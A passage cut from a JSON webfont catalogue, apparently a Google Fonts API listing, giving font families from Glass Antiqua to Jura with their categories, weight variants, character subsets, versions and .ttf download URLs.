   "kind": "webfonts#webfont",
   "family": "Glass Antiqua",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/glassantiqua/v4/0yLrXKplgdUDIMz5TnCHNODcg5akpSnIcsPhLOFv7l8.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Glegoo",
   "category": "serif",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "devanagari"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/glegoo/v5/2tf-h3n2A_SNYXEO0C8bKw.ttf",
    "700": "http://fonts.gstatic.com/s/glegoo/v5/TlLolbauH0-0Aiz1LUH5og.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Gloria Hallelujah",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-10-07",
   "files": {
    "regular": "http://fonts.gstatic.com/s/gloriahallelujah/v7/CA1k7SlXcY5kvI81M_R28Q3RdPdyebSUyJECJouPsvA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Goblin One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/goblinone/v6/331XtzoXgpVEvNTVcBJ_C_esZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Gochi Hand",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/gochihand/v7/KT1-WxgHsittJ34_20IfAPesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Gorditas",
   "category": "display",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/gorditas/v4/uMgZhXUyH6qNGF3QsjQT5Q.ttf",
    "700": "http://fonts.gstatic.com/s/gorditas/v4/6-XCeknmxaon8AUqVkMnHaCWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Goudy Bookletter 1911",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/goudybookletter1911/v6/l5lwlGTN3pEY5Bf-rQEuIIjNDsyURsIKu4GSfvSE4mA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Graduate",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/graduate/v4/JpAmYLHqcIh9_Ff35HHwiA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Grand Hotel",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/grandhotel/v4/C_A8HiFZjXPpnMt38XnK7qCWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Gravitas One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/gravitasone/v6/nBHdBv6zVNU8MtP6w9FwTS3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Great Vibes",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/greatvibes/v4/4Mi5RG_9LjQYrTU55GN_L6CWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Griffy",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/griffy/v4/vWkyYGBSyE5xjnShNtJtzw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Gruppo",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/gruppo/v7/pS_JM0cK_piBZve-lfUq9w.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Gudea",
   "category": "sans-serif",
   "variants": [
    "regular",
    "italic",
    "700"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/gudea/v4/S-4QqBlkMPiiA3jNeCR5yw.ttf",
    "italic": "http://fonts.gstatic.com/s/gudea/v4/7mNgsGw_vfS-uUgRVXNDSw.ttf",
    "700": "http://fonts.gstatic.com/s/gudea/v4/lsip4aiWhJ9bx172Y9FN_w.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Habibi",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/habibi/v5/YYyqXF6pWpL7kmKgS_2iUA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Halant",
   "category": "serif",
   "variants": [
    "300",
    "regular",
    "500",
    "600",
    "700"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "devanagari"
   ],
   "version": "v1",
   "lastModified": "2014-08-27",
   "files": {
    "300": "http://fonts.gstatic.com/s/halant/v1/dM3ItAOWNNod_Cf3MnLlEg.ttf",
    "regular": "http://fonts.gstatic.com/s/halant/v1/rEs7Jk3SVyt3cTx6DoTu1w.ttf",
    "500": "http://fonts.gstatic.com/s/halant/v1/tlsNj3K-hJKtiirTDtUbkQ.ttf",
    "600": "http://fonts.gstatic.com/s/halant/v1/zNR2WvI_V8o652vIZp3X4Q.ttf",
    "700": "http://fonts.gstatic.com/s/halant/v1/D9FN7OH89AuCmZDLHbPQfA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Hammersmith One",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-10-07",
   "files": {
    "regular": "http://fonts.gstatic.com/s/hammersmithone/v7/FWNn6ITYqL6or7ZTmBxRhjjVlsJB_M_Q_LtZxsoxvlw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Hanalei",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/hanalei/v6/Sx8vVMBnXSQyK6Cn0CBJ3A.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Hanalei Fill",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/hanaleifill/v5/5uPeWLnaDdtm4UBG26Ds6C3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Handlee",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/handlee/v5/6OfkXkyC0E5NZN80ED8u3A.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Hanuman",
   "category": "serif",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "khmer"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/hanuman/v8/hRhwOGGmElJSl6KSPvEnOQ.ttf",
    "700": "http://fonts.gstatic.com/s/hanuman/v8/lzzXZ2l84x88giDrbfq76vesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Happy Monkey",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/happymonkey/v5/c2o0ps8nkBmaOYctqBq1rS3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Headland One",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/headlandone/v4/iGmBeOvQGfq9DSbjJ8jDVy3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Henny Penny",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/hennypenny/v4/XRgo3ogXyi3tpsFfjImRF6CWcynf_cDxXwCLxiixG1c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Herr Von Muellerhoff",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/herrvonmuellerhoff/v6/mmy24EUmk4tjm4gAEjUd7NLGIYrUsBdh-JWHYgiDiMU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Hind",
   "category": "sans-serif",
   "variants": [
    "300",
    "regular",
    "500",
    "600",
    "700"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "devanagari"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "300": "http://fonts.gstatic.com/s/hind/v5/qa346Adgv9kPDXoD1my4kA.ttf",
    "regular": "http://fonts.gstatic.com/s/hind/v5/mktFHh5Z5P9YjGKSslSUtA.ttf",
    "500": "http://fonts.gstatic.com/s/hind/v5/2cs8RCVcYtiv4iNDH1UsQQ.ttf",
    "600": "http://fonts.gstatic.com/s/hind/v5/TUKUmFMXSoxloBP1ni08oA.ttf",
    "700": "http://fonts.gstatic.com/s/hind/v5/cXJJavLdUbCfjxlsA6DqTw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Holtwood One SC",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/holtwoodonesc/v7/sToOq3cIxbfnhbEkgYNuBbAgSRh1LpJXlLfl8IbsmHg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Homemade Apple",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/homemadeapple/v6/yg3UMEsefgZ8IHz_ryz86BiPOmFWYV1WlrJkRafc4c0.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Homenaje",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/homenaje/v5/v0YBU0iBRrGdVjDNQILxtA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "IM Fell DW Pica",
   "category": "serif",
   "variants": [
    "regular",
    "italic"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/imfelldwpica/v6/W81bfaWiUicLSPbJhW-ATsA5qm663gJGVdtpamafG5A.ttf",
    "italic": "http://fonts.gstatic.com/s/imfelldwpica/v6/alQJ8SK5aSOZVaelYoyT4PL2asmh5DlYQYCosKo6yQs.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "IM Fell DW Pica SC",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/imfelldwpicasc/v6/xBKKJV4z2KsrtQnmjGO17JZ9RBdEL0H9o5qzT1Rtof4.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "IM Fell Double Pica",
   "category": "serif",
   "variants": [
    "regular",
    "italic"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/imfelldoublepica/v6/yN1wY_01BkQnO0LYAhXdUol14jEdVOhEmvtCMCVwYak.ttf",
    "italic": "http://fonts.gstatic.com/s/imfelldoublepica/v6/64odUh2hAw8D9dkFKTlWYq0AWwkgdQfsRHec8TYi4mI.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "IM Fell Double Pica SC",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/imfelldoublepicasc/v6/jkrUtrLFpMw4ZazhfkKsGwc4LoC4OJUqLw9omnT3VOU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "IM Fell English",
   "category": "serif",
   "variants": [
    "regular",
    "italic"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/imfellenglish/v6/xwIisCqGFi8pff-oa9uSVHGNmx1fDm-u2eBJHQkdrmk.ttf",
    "italic": "http://fonts.gstatic.com/s/imfellenglish/v6/Z3cnIAI_L3XTRfz4JuZKbuewladMPCWTthtMv9cPS-c.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "IM Fell English SC",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/imfellenglishsc/v6/h3Tn6yWfw4b5qaLD1RWvz5ATixNthKRRR1XVH3rJNiw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "IM Fell French Canon",
   "category": "serif",
   "variants": [
    "regular",
    "italic"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/imfellfrenchcanon/v6/iKB0WL1BagSpNPz3NLMdsJ3V2FNpBrlLSvqUnERhBP8.ttf",
    "italic": "http://fonts.gstatic.com/s/imfellfrenchcanon/v6/owCuNQkLLFW7TBBPJbMnhRa-QL94KdW80H29tcyld2A.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "IM Fell French Canon SC",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/imfellfrenchcanonsc/v6/kA3bS19-tQbeT_iG32EZmaiyyzHwYrAbmNulTz423iM.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "IM Fell Great Primer",
   "category": "serif",
   "variants": [
    "regular",
    "italic"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/imfellgreatprimer/v6/AL8ALGNthei20f9Cu3e93rgeX3ROgtTz44CitKAxzKI.ttf",
    "italic": "http://fonts.gstatic.com/s/imfellgreatprimer/v6/1a-artkXMVg682r7TTxVY1_YG2SFv8Ma7CxRl1S3o7g.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "IM Fell Great Primer SC",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/imfellgreatprimersc/v6/A313vRj97hMMGFjt6rgSJtRg-ciw1Y27JeXb2Zv4lZQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Iceberg",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/iceberg/v4/p2XVm4M-N0AOEEOymFKC5w.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Iceland",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/iceland/v5/kq3uTMGgvzWGNi39B_WxGA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Imprima",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/imprima/v4/eRjquWLjwLGnTEhLH7u3kA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Inconsolata",
   "category": "monospace",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v10",
   "lastModified": "2014-10-07",
   "files": {
    "regular": "http://fonts.gstatic.com/s/inconsolata/v10/7bMKuoy6Nh0ft0SHnIGMuaCWcynf_cDxXwCLxiixG1c.ttf",
    "700": "http://fonts.gstatic.com/s/inconsolata/v10/AIed271kqQlcIRSOnQH0yXe1Pd76Vl7zRpE7NLJQ7XU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Inder",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v5",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/inder/v5/C38TwecLTfKxIHDc_Adcrw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Indie Flower",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-10-07",
   "files": {
    "regular": "http://fonts.gstatic.com/s/indieflower/v7/10JVD_humAd5zP2yrFqw6i3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Inika",
   "category": "serif",
   "variants": [
    "regular",
    "700"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/inika/v4/eZCrULQGaIxkrRoGz_DjhQ.ttf",
    "700": "http://fonts.gstatic.com/s/inika/v4/bl3ZoTyrWsFun2zYbsgJrA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Irish Grover",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/irishgrover/v6/kUp7uUPooL-KsLGzeVJbBC3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Istok Web",
   "category": "sans-serif",
   "variants": [
    "regular",
    "italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "cyrillic-ext",
    "cyrillic"
   ],
   "version": "v8",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/istokweb/v8/RYLSjEXQ0nNtLLc4n7--dQ.ttf",
    "italic": "http://fonts.gstatic.com/s/istokweb/v8/kvcT2SlTjmGbC3YlZxmrl6CWcynf_cDxXwCLxiixG1c.ttf",
    "700": "http://fonts.gstatic.com/s/istokweb/v8/2koEo4AKFSvK4B52O_Mwai3USBnSvpkopQaUR-2r7iU.ttf",
    "700italic": "http://fonts.gstatic.com/s/istokweb/v8/ycQ3g52ELrh3o_HYCNNUw3e1Pd76Vl7zRpE7NLJQ7XU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Italiana",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/italiana/v4/dt95fkCSTOF-c6QNjwSycA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Italianno",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/italianno/v6/HsyHnLpKf8uP7aMpDQHZmg.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Jacques Francois",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/jacquesfrancois/v4/_-0XWPQIW6tOzTHg4KaJ_M13D_4KM32Q4UmTSjpuNGQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Jacques Francois Shadow",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/jacquesfrancoisshadow/v4/V14y0H3vq56fY9SV4OL_FASt0D_oLVawA8L8b9iKjbs.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Jim Nightshade",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/jimnightshade/v4/_n43lYHXVWNgXegdYRIK9CF1W_bo0EdycfH0kHciIic.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Jockey One",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/jockeyone/v6/cAucnOZLvFo07w2AbufBCfesZW2xOQ-xsNqO47m55DA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Jolly Lodger",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/jollylodger/v4/RX8HnkBgaEKQSHQyP9itiS3USBnSvpkopQaUR-2r7iU.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Josefin Sans",
   "category": "sans-serif",
   "variants": [
    "100",
    "100italic",
    "300",
    "300italic",
    "regular",
    "italic",
    "600",
    "600italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v9",
   "lastModified": "2014-10-07",
   "files": {
    "100": "http://fonts.gstatic.com/s/josefinsans/v9/q9w3H4aeBxj0hZ8Osfi3d8SVQ0giZ-l_NELu3lgGyYw.ttf",
    "100italic": "http://fonts.gstatic.com/s/josefinsans/v9/s7-P1gqRNRNn-YWdOYnAOXXcj1rQwlNLIS625o-SrL0.ttf",
    "300": "http://fonts.gstatic.com/s/josefinsans/v9/C6HYlRF50SGJq1XyXj04z6cQoVhARpoaILP7amxE_8g.ttf",
    "300italic": "http://fonts.gstatic.com/s/josefinsans/v9/ppse0J9fKSaoxCIIJb33Gyna0FLWfcB-J_SAYmcAXaI.ttf",
    "regular": "http://fonts.gstatic.com/s/josefinsans/v9/xgzbb53t8j-Mo-vYa23n5i3USBnSvpkopQaUR-2r7iU.ttf",
    "italic": "http://fonts.gstatic.com/s/josefinsans/v9/q9w3H4aeBxj0hZ8Osfi3d_MZXuCXbOrAvx5R0IT5Oyo.ttf",
    "600": "http://fonts.gstatic.com/s/josefinsans/v9/C6HYlRF50SGJq1XyXj04z2v8CylhIUtwUiYO7Z2wXbE.ttf",
    "600italic": "http://fonts.gstatic.com/s/josefinsans/v9/ppse0J9fKSaoxCIIJb33G4R-5-urNOGAobhAyctHvW8.ttf",
    "700": "http://fonts.gstatic.com/s/josefinsans/v9/C6HYlRF50SGJq1XyXj04z0D2ttfZwueP-QU272T9-k4.ttf",
    "700italic": "http://fonts.gstatic.com/s/josefinsans/v9/ppse0J9fKSaoxCIIJb33G_As9-1nE9qOqhChW0m4nDE.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Josefin Slab",
   "category": "serif",
   "variants": [
    "100",
    "100italic",
    "300",
    "300italic",
    "regular",
    "italic",
    "600",
    "600italic",
    "700",
    "700italic"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "100": "http://fonts.gstatic.com/s/josefinslab/v6/etsUjZYO8lTLU85lDhZwUsSVQ0giZ-l_NELu3lgGyYw.ttf",
    "100italic": "http://fonts.gstatic.com/s/josefinslab/v6/8BjDChqLgBF3RJKfwHIYh3Xcj1rQwlNLIS625o-SrL0.ttf",
    "300": "http://fonts.gstatic.com/s/josefinslab/v6/NbE6ykYuM2IyEwxQxOIi2KcQoVhARpoaILP7amxE_8g.ttf",
    "300italic": "http://fonts.gstatic.com/s/josefinslab/v6/af9sBoKGPbGO0r21xJulyyna0FLWfcB-J_SAYmcAXaI.ttf",
    "regular": "http://fonts.gstatic.com/s/josefinslab/v6/46aYWdgz-1oFX11flmyEfS3USBnSvpkopQaUR-2r7iU.ttf",
    "italic": "http://fonts.gstatic.com/s/josefinslab/v6/etsUjZYO8lTLU85lDhZwUvMZXuCXbOrAvx5R0IT5Oyo.ttf",
    "600": "http://fonts.gstatic.com/s/josefinslab/v6/NbE6ykYuM2IyEwxQxOIi2Gv8CylhIUtwUiYO7Z2wXbE.ttf",
    "600italic": "http://fonts.gstatic.com/s/josefinslab/v6/af9sBoKGPbGO0r21xJuly4R-5-urNOGAobhAyctHvW8.ttf",
    "700": "http://fonts.gstatic.com/s/josefinslab/v6/NbE6ykYuM2IyEwxQxOIi2ED2ttfZwueP-QU272T9-k4.ttf",
    "700italic": "http://fonts.gstatic.com/s/josefinslab/v6/af9sBoKGPbGO0r21xJuly_As9-1nE9qOqhChW0m4nDE.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Joti One",
   "category": "display",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/jotione/v4/P3r_Th0ESHJdzunsvWgUfQ.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Judson",
   "category": "serif",
   "variants": [
    "regular",
    "italic",
    "700"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v7",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/judson/v7/znM1AAs0eytUaJzf1CrYZQ.ttf",
    "italic": "http://fonts.gstatic.com/s/judson/v7/GVqQW9P52ygW-ySq-CLwAA.ttf",
    "700": "http://fonts.gstatic.com/s/judson/v7/he4a2LwiPJc7r8x0oKCKiA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Julee",
   "category": "handwriting",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v6",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/julee/v6/CAib-jsUsSO8SvVRnE9fHA.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Julius Sans One",
   "category": "sans-serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin-ext",
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/juliussansone/v4/iU65JP9acQHPDLkdalCF7jjVlsJB_M_Q_LtZxsoxvlw.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Junge",
   "category": "serif",
   "variants": [
    "regular"
   ],
   "subsets": [
    "latin"
   ],
   "version": "v4",
   "lastModified": "2014-08-28",
   "files": {
    "regular": "http://fonts.gstatic.com/s/junge/v4/j4IXCXtxrw9qIBheercp3A.ttf"
   }
  },
  {
   "kind": "webfonts#webfont",
   "family": "Jura",
   "category": "sans-serif",
   "variants": [
    "300",
    "regular",
    "500",
    "600"
   ],
   "subsets": [
    "latin-ext",
    "latin",
    "greek",
    "cyrillic-ext",
    "cyrillic"
   ],
